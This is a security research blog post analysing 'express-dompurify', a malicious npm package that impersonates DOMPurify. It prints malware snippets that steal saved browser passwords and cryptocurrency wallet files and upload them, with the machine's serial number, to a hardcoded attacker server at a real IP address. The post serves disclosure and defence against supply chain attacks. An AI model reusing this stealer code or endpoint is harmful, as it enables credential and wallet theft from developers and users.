
Security News
TypeScript is Porting Its Compiler to Go for 10x Faster Builds
TypeScript is porting its compiler to Go, delivering 10x faster builds, lower memory usage, and improved editor performance for a smoother developer experience.
Security News
Socket Research Team
September 27, 2024
The Socket Research team recently discovered a malicious npm package named “express-dompurify” that is exploiting the trusted reputation of DOMPurify, a widely-used library downloaded more than 6.7 million times every week for preventing cross-site scripting (XSS) attacks. Although it's not exactly a typosquat, the package's README file is an exact copy of the legitmate DOMPurify package, which increases the likelihood that developers will inadvertently install it and compromise their applications.
This package represents a dangerous supply chain attack where an attacker introduces malicious code and lures unsuspecting users by impersonating a trusted library. In this blog post, we'll walk through the workings of this malicious package, the threats it poses, and the code snippets that expose the package's hidden operations.
DOMPurify is a popular JavaScript library designed to sanitize user-generated HTML and prevent XSS attacks. Developers use it to ensure that HTML content displayed on their websites does not execute potentially harmful JavaScript code. It is commonly integrated into web applications where user-generated content, like comments or posts, is displayed to other users.
However, attackers are leveraging the trust placed in libraries like DOMPurify to disguise malicious packages, such as express-dompurify, that appear to offer the same functionality but are designed to steal sensitive data. This is just one example of a common trend we're seeing.
The code in express-dompurify is heavily obfuscated, using techniques to hide its malicious intent. The code dynamically generates variable names and commands from an array during runtime, making it difficult to understand what the package is doing at first glance.
For instance, it pulls key variable names from an array like _0x17087c
, which makes it challenging to perform static code analysis. This obfuscation technique is a red flag, as most legitimate libraries do not rely on such methods to hide their functionality.
Despite the obfuscation, further analysis reveals that express-dompurify is designed to collect sensitive information from the victim's machine. Below are some key functions identified within the package:
UpAppData
: Gathers application data.UpCryptoAppWalletData
: Collects data from cryptocurrency wallets.UpKeyChain
: Retrieves keychain files (macOS-specific).These functions gather data from various system locations and browser profiles, including:
The gathered data is then prepared for upload.
After gathering sensitive data, the malicious package uses functions like uploadAppFiles
, uploadFiles
, and ultimately Upload()
to exfiltrate the data to an external server. The server in question is hardcoded within the script and is located at http://95.216.251.178:8001
.
Here’s the relevant portion of the code:
hostURL = '<http://95.216.251.178:8001>';
function Upload() {
const _0xd8457b = {
'url': hostURL + '/uploads',
'formData': _0x585502
};
yield request.post(_0xd8457b);
}
In this snippet, the Upload()
function constructs a POST request with form data containing the stolen information and sends it to the attacker's server at http://95.216.251.178:8001/uploads
.
Below are some key snippets from the malicious package that showcase its dangerous functionality:
The following code snippet shows how the package attempts to access sensitive browser data, such as saved login credentials:
function getBrowserPasswords() {
const _0x53ab = browserProfiles.map(profile => {
const filePath = profile + '/Login Data';
const loginData = extractSQLiteData(filePath, 'logins');
return decryptPasswords(loginData);
});
return _0x53ab;
}
Here’s what’s happening:
browserProfiles
contains paths to various browser profiles (Google Chrome, Brave, etc.).Login Data
SQLite file from the browser’s profile directory, which stores saved login credentials.decryptPasswords
: The script uses system APIs (such as Windows’ Data Protection API (DPAPI)) to decrypt the passwords stored in the browser’s profile.The following snippet shows how the malicious package targets cryptocurrency wallet directories to steal sensitive data:
function UpCryptoAppWalletData() {
const walletPaths = ['~/.electrum', '~/.bitcoin'];
walletPaths.forEach(path => {
const walletData = readFilesFromDirectory(path);
uploadWalletData(walletData);
});
}
In this example:
~/.electrum
(used by Electrum, a popular Bitcoin wallet).readFilesFromDirectory()
reads all wallet-related files from these directories.uploadWalletData()
uploads the collected wallet files to the attacker's server.Finally, after gathering the sensitive data, the script uploads it to an external server:
function uploadFiles(files) {
const payload = {
'serialNumber': getSystemSerialNumber(),
'files': files
};
const requestOptions = {
'url': hostURL + '/uploads',
'formData': payload
};
request.post(requestOptions);
}
getSystemSerialNumber()
: The script gathers system-specific information like the serial number to associate the stolen data with a specific machine.formData
: The data, including the system serial number and stolen files, is packaged into form data.request.post(requestOptions)
: The data is then sent to the attacker's server at http://95.216.251.178:8001/uploads
.The following types of data are exfiltrated by the malicious package:
At the time of publishing, the package is still live on npm. The author also has another package on the registry called express-eval that performs similar operations with malicious code that is obfuscated and designed to steal sensitive user data, particularly from cryptocurrency wallets and browser extensions.
To defend against these types of supply chain attacks, consider the following best practices:
We have reported these packages to the npm registry as malware and expect that they will be removed soon.
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
TypeScript is porting its compiler to Go, delivering 10x faster builds, lower memory usage, and improved editor performance for a smoother developer experience.
Research
Security News
The Socket Research Team has discovered six new malicious npm packages linked to North Korea’s Lazarus Group, designed to steal credentials and deploy backdoors.
Security News
Socket CEO Feross Aboukhadijeh discusses the open web, open source security, and how Socket tackles software supply chain attacks on The Pair Program podcast.